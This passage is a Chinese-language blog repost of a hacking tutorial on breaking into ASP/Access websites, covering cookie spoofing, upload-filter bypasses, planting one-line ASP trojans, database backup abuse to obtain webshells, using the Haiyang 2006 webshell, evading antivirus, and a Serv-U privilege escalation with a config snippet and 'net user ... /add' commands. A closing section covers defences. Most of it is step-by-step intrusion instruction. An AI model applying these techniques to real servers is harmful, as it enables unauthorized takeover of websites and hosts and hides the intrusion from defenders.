然後切換到「預覽」,把當前的cookies改為先前保留的cookies,點擊「cookies欺騙」鏈接, (如圖75)所示,是不是進入後台了呢?下面我們就能進行一步的工作了。
關天cookies欺騙一節,好像還沒人問過我什麼,所以常見問題就先說了,有什麼問題可以到www.nohack.cn/bbs或bbs.cnnsafe.com提出。

(四)獲取webshell
上面說了那麼多的入侵方法,終極目的只有一個——獲取webshell。
下面我就給大家講幾個常用的webshell獲取方法。
1    上傳
說 到上傳獲得webshell,就不得不提大名鼎鼎的動網7.0SP2之前的文件上傳漏洞了,那可是連官司方都沒能倖免於難的啊!其中的成因嗎不太好說,大 概地說就是字符截斷的問題。
我們還是來看看怎麼利用吧。這裡我們要請出老兵的萬能上傳工具呢(圖76),為什麼叫萬能上傳工具呢?很簡單,因為連大名鼎鼎 的動網論壇都沒有注意到這個嚴重漏洞,其它許
多系統自然也避免不了,所以說這個工具是「萬能」的,下面我們找一個沒打過SP2補丁的dvbbs,註冊一個 帳號,登錄進去後看有沒有禁止上傳,如果沒有禁止,我們就是提取當前cookies保存起來(怎麼提取?又忘了不是,前面不是說過可以用修 改cookies瀏覽器提取嗎?)然後在萬能上傳工具處填好漏洞url,欲上傳的文件和cookies等信息(圖77),點「上傳」,不一會就提示成功了 (圖78),我們現在來訪問這個上傳後的文件,看,是不是得到一個shell呢(圖79)
當然,並不是所有的系統都能用這個方法上傳的。下面我再總結幾個常見的上傳方法。
1、進入後台直接上傳。有些系統對管理員可是十分信任的哦,進了後台只要找到有上傳的地方你就可以直接選匹馬放上去,絕不會有任意阻攔(圖80)。
2、 添加上傳類型上傳。如果不能直接上傳,可找找看有沒有添加上傳類型的地方,有的話添加一個ASP就可以了。當然,有些系統在代碼中就限定了不允許上傳 ASP文件,不要緊,
        我們可以添加允許上傳ASA、CER等文件,然後把.asp的後綴改為ASA或CER上傳,一樣可用的(圖81)。
3、抓包 上傳。這裡就要利用Win2000的一個小漏洞了,如果文件名的結尾是空格或「.「號,那麼windows會自動把這個符號「吃」掉。那麼,我們就可以添 加允許上傳「ASP 」文件
        ,注意ASP後有個空格,ASP 可不等於ASP啊,所以代碼裡的限制就沒用了。然後我們來到文件上傳界面,選擇一個ASP文件,先別上傳。我們打開抓包工具Wsock Expert(圖82)
    ,選擇監控IE的上傳窗口,然後回到上傳界面,點擊上傳,提示上傳失敗。預料之中。我們來到Wsock Expert,找到剛才提交的數據包(圖83),看到那個mm.asp沒有,我們在這個
    後面加個空格,再用NC提交,成功上傳!
4、利用表單衝突上傳。用這個方法最典型的就是動力3.51的上傳了。我們同樣註冊一個用戶,來到發表文章處。切換到「源代碼」模式,輸入下面的代碼:
<FORM name=form1 onsubmit="return check()" action=upfile_article.asp method=post encType=multipart/form-data><INPUT class=tx1 type=file name=FileName> <INPUT class=tx1 type=file name=FileName><INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上傳 name=Submit></FORM>
再來到「預覽」模式,是不是看到了兩個選擇上傳文件的框卻只有一個上傳按鈕啊(圖84)?我們在第一個框處選擇一個ASP文件,第二個框處選擇一個jpg文件,然後點上傳。可能會
提示衝突,但我們返回「源代碼」模式,就可以看到我們上傳後的Webshell地址了。
5、 利用代碼對文件類型的限制上傳。現在許多代碼為了安全都限制了上傳ASP文件,但一些代碼的限制方法實在令我不敢恭維。我見過有些代碼的限制方式是一遇到 ASP就把它去掉的。
那麼,我們完全可以添加一個上傳類型「ASASPP」,這樣一來,在上傳過程中代碼會把中間為ASP去掉,後綴的自然也就變為ASP 的了。
6、利用其它上傳工具。老兵的萬能工具雖名為萬能,但因為有些系統的上傳代碼與動網的是有差異的,所以這個工具對它就失效了。我這裡還收集了別的一上上傳利用專用程序。比如去
緣雅境的,操作起來也十分簡單,相信大家都會用的。

(2)寫入過濾不完全,
因 為現在許多系統都是可以用FSO功能直接寫入其文件的,如果寫入文件的過濾不完全,也可以直接往裡寫個webshell,如動易的conife.asp。 這裡我要講的是leadbbs後台友情鏈接添
加處寫入webshell,我們來到後台的添加友情鏈接處,點「新增友情鏈接」(圖85),然後在「網站名稱 處填上冰方後浪子微型ASP後門式海洋的一句話木馬,其它亂填(圖86),然
後我們用客戶端連接,成功了吧!(圖87)
除了對文件寫入的過濾外,還有對數據庫寫入的過濾。當我們暴庫得知數據庫後綴為ASP,但用網際快車能下載時,我們就可以確定這個數據庫裡不包含ASP語句,那麼我們只要找到一
個可以寫入數據庫的地方,寫入一句話木馬,再用客戶端連接,一樣可以成功的。
3、後台備分及恢復
說 起後台的備分和恢復獲取webshell,我可算是頗有研究,也可以說是從這裡起步學習技術的,先說說常規的方法吧,一般地,我們就是把一個ASP木馬改 為gif後綴上傳,然後記下上傳
後的地址,下面,我們來到數據備分頁面(圖88),在「數據庫路徑」處填自己剛才上傳的文件名,在「備分後路徑」處填自己 想要種馬的地址,注意後綴為ASP(圖89),點「備分」
後我們就得到了自己想要的webshell。
但是,如果像動力一樣不允許定義當前數據庫 地址呢?一樣可以的,我們通過暴庫術式後台看到動力的數據庫地址,因為ASP的話,我們一樣可以把一個ASP木馬改為gif的型式,然後上
傳,現在,我們 來到「數據庫恢復」頁面,看到沒有,可以自定義恢複數據庫的路徑(圖90),我們選擇我們剛才上傳的文件路徑,恢復(圖91),恢復成功後整個系統是用不 了,但我
們只須直接訪問數據庫地址就可以得到webshell了,當然,為了不被別人發現最好還是先把數據庫備分好,得到shell後再用shell恢復 回去。
上面一般說的方法就是我發表的第一篇文件《利用ACCESS得到webshell一文的補充》,至此,數據備分和恢復的利用似乎完了,其實還沒有,還是那個動力系統,如果我們無法得到數
據庫地址,或者數據是mdb的,出放到了web外,我們不就用不了上面的方法了嗎?
別 急,再繞個彎子,我們來仔細看看這個動力系統,備分處限制了只能備分當前的數據庫,不能備分其它文件,且備分後文件後綴限為ASA,但可以自定義文件名。 恢復處只能把數據恢復
到當前數據庫文件,如果遇上本段開頭提的那三種情況,我們把一個shell恢復出來也是沒用的。既然不能直接弄出來,我們就老老實實 恢復一個比較正常的數據吧。說是比較正常,那是
因為這個數據庫雖然對系統沒有影響,但還是做過一些手腳的。
我們拿一個相同系統的空數據庫,把 <%nodownload%>表中的內容改為一句話木馬(圖92),然後再在後台添加允許上傳MDB文件,上傳。下面到數據恢復處把剛上傳的 文件恢復回
去,這時系統仍是正常運行的。我們重新用默認的用戶名admin,密碼admin888登錄後,再到數據備分的地方,把數據備分出來,然後用客 戶端連接這個備分的文件就可以了。
對於限制沒那麼嚴的動網,我們可以直接備分就行了。雖然7.1中對備分處做了限制(圖93),但恢復處可設限制(圖94),條件比動力寬鬆多了。
4、 SQL導出。對於有注入點的SQL站點,我們還可以用黑客界中的丐幫幫主——就是那個臭要飯的發明的SQL寫入導出大法得到webshell,其原理是在 知道網站物理路徑的情況下通
過往SQL數據庫中寫入一個帶木馬的表,再將這個表導出,就得到webshell了。為了不讓管理人員發現,我們還要刪掉這個 新建的表。那個臭要飯的還專門對此寫了工叫getwebshell的
工具(圖95),使用起來也並不複雜,我也就不再說了。

三、webshell的使用方法及提權
(1)webshell的基本使用方法
上面說了那麼多,相信大家已經能夠拿到屬於自己的shell了吧。拿到webshell後該怎麼使用啊?這是令許多菜鳥感到困惑的問題。下面,我就以海洋2006ASP木馬為例說說webshell的
一些基本使用方法。
首 先,我們來下載海洋2006木馬文件包,解壓後會發現七個文件,它們分別是:2006.asp、unpack.vbs、2006×.exe、2006× 2.exe、2006Z.ese、hididi.ini、ReadMe.Txt。
其中2006.asp就是ASP木馬的主文件,我們用記事本打開這個主文 件,把默認密碼lcxmarcos改為自己想要的密碼,當然不改也行),然後用前面說的方法把這個文件放到網上去。
用密碼登錄後,我們就可以看到如圖96 所示頁面。這裡列舉了十三項大的功能,我只是就其中的一部分來講解,其它的請各位自己去摸索。
首選看第8項功能:FSO文件瀏覽操作器,FSO大家應該很熟了吧,點擊進入後我們可以看到如圖97所示的界面。如果權限足夠的話,我們可以在這裡對服務器上任何的盤符進行包
括新建,刪除,讀取,修改,修改屬性,運行等文件操作,具體怎麼做不用我教了吧?
下 面再來看wscripc.shell程序運行器,進入該功能後會出現如圖98所示界面,如果服務器不支持FSO,可以嘗試在這裡裡輸入cmd命令執行,例 如我這裡執行dir c:\,看C盤的目錄是
不是都列出來了呢(圖99)。另外,如裡用默認的cmd路徑無法執行,我們可以自己上傳一個cmd.exe到有執行權限的目錄,然 後填好文件路徑再執行。
下面我們再來看看海洋2006ASP木馬的第1—5項功能,這些有了是幫助我們收集服務信息的,有助於我們進一步的入侵。
進入「系統服務信息」後,我們就可以看到系統打開的所有服務和詳細說明(圖100)。
進入「服務器相關數據」後,我們就可以看到系統參數,系統磁盤,站點文件夾,終端端口等信息,如圖101所示。
而「服務器組件探針」則可以列出服務器上各組件的名稱和支持情況(圖102)。
「系統用戶和用戶組信息」可以幫我們列出服務器上所有用戶、用戶組的詳細信息(圖103)。
客戶端服務器交互信息是為我們列出服務器上Application、Session、cookies等信息的地方(圖104)。
另 外,第十一個功能「文件打包功能是海洋2006新增的一個亮點,它可以不用winrar打包服務器上的文件夾,無論是否支持FSO都能完成(圖105), 打包好後,我們可以在海洋2006
木馬的同級目錄下找到hyfop.mdb文件,下載回來後用unpack.vb3解壓就可以了(圖106)。另外,如果 服務器支持FSO,我們也可以用這個功能在服務器上解包。
海洋2006ASP木馬還增加了「一些零碎的小東西」,其中比較實用的有註冊表的讀取功能(圖107),填斥了註冊表的鍵值路徑後,點「讀取」就能讀出註冊表鍵值了(圖108)。
除 了海洋ASP木馬的主體文件外,它的壓縮包裡的其它文件也是大有用途,剛才說了unpack.vbs是解壓打包為擁的,現在來說說,生成一句話代碼的 c/s端。前面講入侵時我講過許多次
一句話木馬,這個一句話木馬怎麼得到呢?其實可以用海洋的c/s端生成啊!運行2006×.exe,運行後如圖109 所示,按「打開」選擇木馬文件2006-asp,再填好服務端密碼,按「轉換」
就會生成一個名為2006.asp.htm的客戶端,然後再按「生成服務端 頁面」選擇好存放路徑及文件名後就生成一句話木馬了,把這個木馬插入到服務器的一個ASP文件中,用客戶端連接,
我們就可以往服務器寫入任意代碼了(圖 110)。
另外,我們還可以自己定製海洋2006的功能,如我們只需要FSO文件瀏覽器,我們就運行2006Z.exe(圖111),在「頁面選 擇」外選FSO文件瀏覽操作器,選擇好源文件2006.asp和生
成後的文件各後點「生成」一個只有FSO文件瀏覽器功能的木馬就生成了(圖112),是 不是很方便啊?
(2)ASP木馬的加密及防殺
隨著ASP木馬的氾濫,殺毒軟件也打ASP木馬列為嚴厲打擊的對象。我們辛辛苦苦也得到了後 台管理權上傳webshell卻被殺毒軟件給kill了豈不太可惜了?別急,想想如果馬兒被殺我們該
怎麼做呢?不錯,要麼換匹不被殺的,要麼加殼。ASP 木馬也是一個理想,要麼換,要麼加密。
先說換吧,就ASP木馬而言,海洋的名氣最大,當然成為各殺毒廠商重點打擊的對象了。既然海洋不能用,我們 就用老兵的ASP站長助手6.0吧(如圖113),不知是不是殺毒的真把這文
件當成是站長的管理助手了,殺它的軟件比殺海洋的少了許多,但其實這個文件的 功能一點也不比海洋差。當然,ASP站長助手有時也是會被kill掉的,那我們就用海洋的一句話木馬吧。
可能是這一句話中的「特徵碼」不太好找吧,我一直 沒見有殺毒來殺它。什麼,嫌一句話木馬的功能不能強?看來只能拿出我的密秘武器——ASP站長助手aweige修改版了。這個ASP木
馬是aweige修 改過的ASP站長助手,目前能免除一切殺毒軟件的查殺,默認密碼也「*」,進去後和ASP站長助手的界面是一樣的。另外,文件不但目前免殺,可能永遠都會 免殺哦!因為
我將此文件提交給殺毒廠商,他們竟說我的不是病毒(大家別BS我啊!)
還有一個免殺的方法就是對ASP木馬進行加密。這裡我們要用到一個工具——ASP木馬加密免殺工具,這個工具操作很簡單,如圖114所示,選好木馬的源文件,先點「轉換」,過一會後
再點「加密」就可以了,這裡我就不多說了。
(3) weshell的提權
一個weshell的權限其實是很小的,我們要對weshell提權才能進行下一步的行動,下面我就給大家講講幾個常用的提權方法。
1、serv-u的利用現在許多服務器都作為虛擬主機,自然大多數會選擇serv-u做為stp的客戶端,而serv-u的漏洞可是層出不窮,我們現在就來看怎麼利用serv-u提升webshell的權限吧。
首先,我們要看serv-u的servvDaemon.ini是否可寫,如果可寫我們就可以很快得到管理員的權限了。
打開servvDaemon.ini後,我們灰[Domain]這一欄下加上user9=[nnsafe|1|0,其中數字9可以更換,然後在後面加上
[USER=cnnsafe|1]
password=
HomeDir=c:\winnt\systam32
Timeout=60
Maintenace=system
Accessl=c:\winnt\system32\RWAMELCDP
SKETValues=
如 圖114,保存後我們用ftp客戶端登錄,用戶名為cnnsafe,密碼為空,然後執行quote site execnet user cnnsafe cnnsafe/add和quote site exec net localgranp administrators cnnsafe/add,你就得到管理員權限了(圖115)。
如果ServvDaemon.ini文件不可寫,我們還可以用serv-v的本地溢出漏洞提權。找個可執行的目錄,上傳我們的提權工具su-exe,然後到wscriptshell中執行,執行成功後我們就可以得到
服務器權限了(圖116)。
另外,我們還可以看能否轉跳到pcanywhere的目錄,如果可以,我們就下載CIF文件,得到pcanywhere的密碼登錄。
常用的方法還有下載服務器的SAM表用LC5破解和把ASP.dll加入「特權組」,這裡我就不多說了,大家可以自己去看相關資料。
三、防範篇
(一)暴庫、注入的防範
有功就有防。對現在網絡上流行的腳本攻擊方法,雖然在整個攻擊過程都是「合法」的,防火牆在這裡起不了什麼作用,但防範的方法還是有的。
先 來看暴庫的防範,其實防範暴庫的方法很簡單。前面我們說過,暴庫都是利用服務器返回的信息達到目的的。我們不讓服務器返回詳細的錯誤信息不就可以了嗎?我 們可以來到IIS的應
用程序配備,在「調試」選項的「腳本錯誤的錯誤信息」中選擇「向客戶端發送下列文件錯誤消息」(圖117), 這樣服務器出錯時就只會返回我們設定好的信息,暴庫自然也不可能了。
如果是虛擬主機用戶,我們可以在conn.asp後加上一句代碼,On Error Resume Next「,這句話的意思是,如果出錯繼續執行下面的語句,不理會那個錯誤。因為這句話下面沒有什麼語
句了,所以出錯時會返回一片空白,當然你也可以在後 面弄個假的數據加地址騙人,呵呵。另外,我們還可以在II3的映射中設置禁止詢問.mdb的文件,或把數據庫放到web外,如是虛擬
空間的可建個表名 nodown,內容為<%nodownload%>的表,然後把數據彎庫改為.asp方式運行,這樣即使不被暴庫也下載不了。
對於注 入攻擊,現在網上有很多專用的防注入程序,以火防方式的SQL通用防注入程序2.0完美版為例,我們只須要在有漏洞的頁面加上一句代碼<1-- #indade File=「wrsky_sql.asp」-->
就可以實現對變量的過濾了,如果加在conn.asp後,因為對數據庫進行調用的文件都要包含 conn.asp,那麼就可以對整站實現過濾,並且這個還可以自定義過濾的字符,把攻擊者的攻擊
動作記錄到數據庫中。
另外,對於ASP+ ACCESS,其實Md5也是入侵者的一大阻礙,除了我們自己把密碼設複雜點,讓對方難以破解外,我們還可以乞討動Md5.asp中的部分代碼來創造一個 獨一無二的Md5加
密方法。打開Md5.asp,找到類似如下代碼:把a=、b=、c=、d=後的那串隨便選個改掉,只改一個就夠了。這樣一般是不會出錯 的。我們分別用原版的Md5.asp的改動後的Md5.asp加密
密碼123456,原版的密文(Md532)如下:
改動後的如下:
而一般的Md5破解工具都是按原版編寫的,如果得不到我們改動後的Md5.asp文件,加密出來的密碼是根本無法破解的。如圖118、119所示。當然,我們也要保存好改動後的文件式記住
改的地方,不然以後要用的時候我們自己也沒有辦法了。
這 裡再介紹一個最簡單的替換Md5.asp的方法。因為許多系統都是有個默認的用戶名和密碼的,如果我們直接替換Md5.asp將無法登錄後台,而且因為不 知道改後的Md5.asp對某個密碼加
密後是什麼形式,我們也無法直接改數據庫。其實,我們只須用類似cookies欺騙的方法就可以了。先用默認的 Md5.asp運行,登錄後台後到添加管理員的界面,填好一切後再用ftp把改後
的Md5.asp覆蓋上去,因為這時網站還有你管理的cookies,所 以點提交後還是能成功增加管理員的。退出後默認的管理員就登不上去了,但新增的卻是可以的。我們就可以用新增那個登
上去進行管理了。
還有就是,我 們一般都會把數據庫地址放得很隱秘,但如果遇到有沒做防護的,有暴庫漏洞的,系統也是沒用的。萬一被別人知道了用戶名和明文密碼怎麼辦呢?其實我們還可以 隱藏後
台地址,如果找不到後台得到用戶名和密碼也進行了後台。像cnnsafe的後台就是用幾個我熟悉的數字或單詞,中間用十分BT的特殊符號連接,這樣 自己又好記,而別人呢?別說猜,如
果不是記憶超強恐怕給他看到後台地址也要N久才能記住。
(二)上傳漏洞及數據備分,寫入過濾不嚴的防範
對 於腳本系統,另一個十分危險的地方就是上傳了。上傳文件的漏洞是層出不窮,其實我們完全可以自己修改代碼解決這個問題。常規的上傳文件都是取原文件名的後 綴與上傳的後的後
綴相同,只改文件名部分。其實我們完全可以把文件扣綴全改為gif,一般情況下是不會影響圖片顯示的,如果是要上傳非圖片文件可以把後綴 全改為sar,當然上傳前要求先打包,否則改
動後不知道原來的格式會無法打開。
以動力3.51為例,我們要以把   中   的改為。
對於數據庫的備分,我建議刪掉文件的備分和恢復的頁面,要備分式恢複數據都用ftp直接下載式覆蓋。而對於寫入過濾不嚴,只要在conn.asp後加上防注入代碼,是絕對會過濾完全的。
(三)旁註的防範
經 過上面的配置,想直接在這個站上找腳本漏洞是比較難的了。那麼自然會考慮旁註的防範,主要是依靠服務器的權限分配,如果服務器配得好,旁註是毫無用武之地 的。另外,我最近
還發現一個經典的防旁註的方法,就是先將域名的A記錄綁到一個無用的IP上,再在下面把同一個域名綁到正確的IP上,這樣WHOIS查詢 就會去查詢那個無用IP上的信息,當然得不到結
果了。
(四)入侵後的防範防範
如果你不幸被入侵了,網站上留下了webshell該怎麼辦呢,不急,亡羊補牢為時未晚。當然最好的方法是把文件全刪了重傳,而且還要注意數據庫中有沒有被 馬。不過這其實是很不實
際的做法。
其實我們可以用思易ASP木馬追捕工具對木馬文件進行追捕。調用FSO,有刪掉,新建和上傳功能的都能找出來,而且還能用關鍵字進行查找,如圖4所示,看,這個工具使用方便,一
下就找出隱藏在網站中的webshell了。

四、防範工具的安全性
在「防範篇」中給大家介紹了兩個防範用的ASP文件,那這些工具自身的安全性怎麼樣呢?
1、防注入程序的安全性
其實火狐的SQL通用防注入程序也有漏洞,在2.0中我們可以無限量地提交信息使記錄注入的數據庫不斷無限增大,在3.0版本中者有跨站漏洞,同時3.1B以前的版本都沒有對COOKIES
注入加以防範。
2、思易ASP木馬追捕的安全性
其 實這個程序本身並沒有什麼問題,但許多管理同偷懶,用完後記不得把文件刪掉,這樣別人就可以利用它來遍厲目錄,找到數據庫後下載,如圖128所示是我用 google搜到的結果,隨
便打開一個看,數據庫地址出來了吧,還是.mdb的呢,還不快直接輸入arl下載(圖129)。
好了,關於ASP腳本 的入侵及防範我就說到這裡了,下面主產說我的個人學習經驗。其實我的經驗總結起來就是要善於觀察,善於舉一反三。另外就是要多實踐,多問N個為什麼。最後 提
醒一下,社會工程學在入侵時是很好用的。其實我也只是一隻菜鳥,蒙大家厚愛才得以與大家一起討論技術。上面有什麼不對或大家有什麼意見可以反映到我郵箱
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 ivan0914 的頭像
    ivan0914

    I'n Blog 之萬象真藏

    ivan0914 發表在 痞客邦 留言(0) 人氣()